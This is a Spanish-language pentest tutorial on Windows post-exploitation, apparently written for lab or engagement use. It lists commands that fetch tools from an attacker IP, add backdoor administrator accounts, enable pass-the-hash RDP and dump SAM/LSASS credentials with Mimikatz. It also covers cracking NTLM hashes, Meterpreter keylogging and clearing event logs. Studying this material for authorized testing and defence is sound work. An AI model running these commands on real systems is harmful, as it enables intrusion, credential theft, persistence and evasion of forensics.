Skip to content

🪟 Post-Explotación en Windows

Una vez dentro de un sistema Windows, el entorno cambia radicalmente. Nos enfrentamos a una estructura basada en registros, servicios complejos, tokens de acceso y una gestión de privilegios basada en objetos.

✅ Metodología Windows

Enumeración local (Sistema, Usuarios, Red, Procesos)
Transferencia de archivos (C:Temp y herramientas)
Mejora de la shell (PowerShell / Meterpreter)
Escalada de privilegios (Tokens, UAC, Servicios)
Persistencia (Servicios, RDP, Usuarios)
Extracción de credenciales (SAM, LSASS, Looting)
Limpieza de huellas (Logs de eventos)

🔍 1. Enumeración Local

El reconocimiento exhaustivo es la base de una escalada exitosa. Debemos identificar la arquitectura, el nivel de parches y los usuarios con sesiones activas.

Información del Sistema

Buscamos el nombre del host, la versión exacta del SO y los Hotfixes instalados para identificar vulnerabilidades de Kernel conocidas.

bash
# Información completa del sistema y parches
systeminfo

Usuarios, Grupos y Privilegios

Es vital conocer quiénes somos y qué privilegios específicos tiene nuestro token (fundamental para ataques de tipo "Potato").

bash
# Usuario actual y privilegios (buscar SeImpersonate o SeDebug)
whoami /priv

# Enumerar usuarios locales y administradores
net user
net localgroup administrators

# Ver sesiones de usuarios activos
query user

Red y Conexiones

Buscamos identificar otras redes internas o servicios que solo escuchan localmente.

bash
# Interfaces de red y tabla ARP
ipconfig /all
arp -a

# Conexiones activas y puertos abiertos
netstat -ano

# Estado del Firewall
netsh advfirewall show allprofiles

Procesos y Tareas Programadas

Identificamos servicios de terceros o tareas que se ejecuten como SYSTEM.

bash
# Lista de servicios y tareas
tasklist /SVC
schtasks /query /fo LIST /v

Enumeración Automática

Para ahorrar tiempo, podemos usar scripts que buscan vectores de escalada comunes:

  • JAWS : Script de PowerShell para enumeración rápida. Se recomienda ejecutarlo guardando la salida en un archivo: powershell.exe -ExecutionPolicy Bypass -File .\jaws.ps1 -OutputFilename out.txt

  • WinPEAS : La herramienta estándar para encontrar rutas de escalada.

  • Metasploit: Módulos como post/windows/gather/win_privs o checkvm.

📂 2. Transferencia de Archivos

En Windows, se recomienda utilizar la ruta C:\Windows\Temp o carpetas temporales de aplicaciones para subir herramientas, ya que suelen tener permisos de escritura y son menos monitorizadas.

Para transferir herramientas podemos usar el servidor HTTP que mencionamos en la metodología general, pero en Windows existen otras alternativas muy comunes y sencillas dependiendo de qué servicios tengamos activos:

A. SMB (Compartidos de Windows)

Es uno de los métodos más efectivos en redes locales. Puedes levantar un servidor SMB en tu máquina de atacante con Impacket y copiar el archivo directamente como si fuera una unidad de red.

bash
# En tu máquina de atacante:
impacket-smbserver share . -smb2support

# En la víctima (CMD):
copy \\<TU_IP>\share\herramienta.exe C:\Temp\herramienta.exe

B. PowerShell (WebClient)

Si tienes acceso a PowerShell, puedes descargar archivos sin necesidad de herramientas externas como certutil.

powershell
powershell -c "Invoke-WebRequest -Uri 'http://<TU_IP>/herramienta.exe' -OutFile 'herramienta.exe'"

C. SCP (vía SSH)

En versiones modernas de Windows (Windows 10, 11 y Server 2019+), el cliente OpenSSH suele estar instalado por defecto, permitiéndonos usar SCP si conocemos las credenciales de un usuario.

bash
scp herramienta.exe usuario@<IP_VICTIMA>:C:\Users\Public\Downloads\

D. Certutil (El método "LOLBIN")

Sigue siendo la opción más fiable cuando solo tienes una CMD básica y el objetivo tiene salida a internet o ve tu servidor HTTP.

bash
certutil -urlcache -f http://<TU_IP>/herramienta.exe herramienta.exe

🐚 3. Mejora de la Shell

Si disponemos de una shell básica (CMD), el objetivo es migrar a una terminal más potente como PowerShell o una sesión de Meterpreter para facilitar el uso de módulos de post-explotación.

🛡️ Evasión de AMSI

En sistemas modernos, PowerShell puede estar protegido por AMSI. Antes de cargar scripts como PrivescCheck, puede ser necesario aplicar técnicas de ofuscación o bypass de AMSI para evitar la detección.

📈 4. Escalada de Privilegios

Buscamos pasar de un usuario estándar a Administrator o NT AUTHORITY\SYSTEM.

Suplantación de Tokens (SeImpersonate)

Si tenemos el privilegio SeImpersonate, podemos usar ataques de tipo Potato (JuicyPotato, PrintSpoofer) para suplantar un token de sistema. En Meterpreter, el comando getsystem intenta automatizar este proceso.

Servicios Vulnerables

  • Unquoted Service Paths: Si un servicio tiene una ruta con espacios y sin comillas, podemos suplantar el ejecutable.
  • Permisos Débiles: Si podemos modificar el binario de un servicio, lo reemplazamos por una reverse shell.

UAC Bypass

Si somos administradores pero estamos limitados por el Control de Cuentas de Usuario (UAC), podemos usar módulos como exploit/windows/local/bypassuac_injection.

⏳ 5. Persistencia

Aseguramos el acceso para que no dependa de la vulnerabilidad inicial.

Servicios y Usuarios

  • Servicios: Crear un servicio que se inicie con el sistema mediante el módulo windows/local/persistence_service.
  • Usuarios: Crear un usuario nuevo y añadirlo a grupos privilegiados.
bash
net user <usuario> <pass> /add
net localgroup "Remote Desktop Users" <usuario> /add
net localgroup administrators <usuario> /add

Habilitar RDP

Podemos habilitar el escritorio remoto con el módulo windows/manage/enable_rdp.

🔑 RDP con Hashes (Restricted Admin)

Para conectar por RDP usando el hash NTLM (Pass-the-Hash) con xfreerdp, es necesario habilitar el modo de administración restringida:

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

🔑 6. Extracción y Crackeado de Hashes

Los hashes en Windows suelen almacenarse en la base de datos SAM (para usuarios locales) o en el proceso LSASS (para credenciales en memoria).

Si el objetivo es un Controlador de Dominio, el botín principal será el archivo NTDS.dit, que contiene todos los hashes del dominio.

Obtención del material (Dumping)

Para extraer esta información es imprescindible tener privilegios de SYSTEM. Si trabajas desde Meterpreter, el comando hashdump volcará los hashes locales en el formato estándar Usuario:RID:LM:NTLM.

Sin embargo, para una extracción más profunda que incluya contraseñas en texto claro o tickets de Kerberos, lo ideal es cargar el módulo Kiwi (load kiwi) y utilizar creds_all.

Si utilizas Mimikatz de forma independiente, el comando lsadump::sam te permitirá obtener los hashes de la SAM, mientras que sekurlsa::logonpasswords intentará extraer credenciales directamente de la memoria.

Recuperación de contraseñas (Cracking)

Una vez obtenido el hash NTLM (la última parte de la cadena volcada), el proceso de recuperación se realiza de forma offline en tu máquina de ataque. En sistemas modernos, el hash LM suele aparecer como una cadena genérica sin valor (aad3b435...), por lo que nos centraremos exclusivamente en el NTLM.

Uso de John the Ripper Es fundamental indicar el formato NT para que la herramienta procese correctamente los hashes de Windows.

bash
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Uso de Hashcat Es la opción preferida si cuentas con potencia de GPU. El modo específico para hashes NTLM es el 1000.

bash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

🔍 Identificación del Hash

Si no estás seguro de a qué tipo de hash te enfrentas, puedes usar herramientas como hash-identifier o hashid para confirmar que se trata de un NTLM antes de lanzar el ataque de fuerza bruta.

Keylogging y Espionaje

Podemos capturar las pulsaciones de teclado en tiempo real para obtener contraseñas de aplicaciones.

bash
# Iniciar captura en Meterpreter
keyscan_start
# Volcar datos capturados
keyscan_dump

🧹 8. Limpieza de Huellas

Es imperativo borrar el rastro para evitar la detección forense y dejar el sistema del cliente limpio.

  • Logs de Eventos: El comando clearev en Meterpreter borra los logs de seguridad, sistema y aplicaciones (usar con precaución, ya que un log vacío es sospechoso).

  • Archivos: Eliminar todos los payloads y archivos temporales subidos a C:\Temp.

  • Scripts de Limpieza: Metasploit a veces genera archivos .rc para automatizar la limpieza de los cambios realizados por un exploit.

Sin copyright ni nada. Ház lo que quieras con todo esto.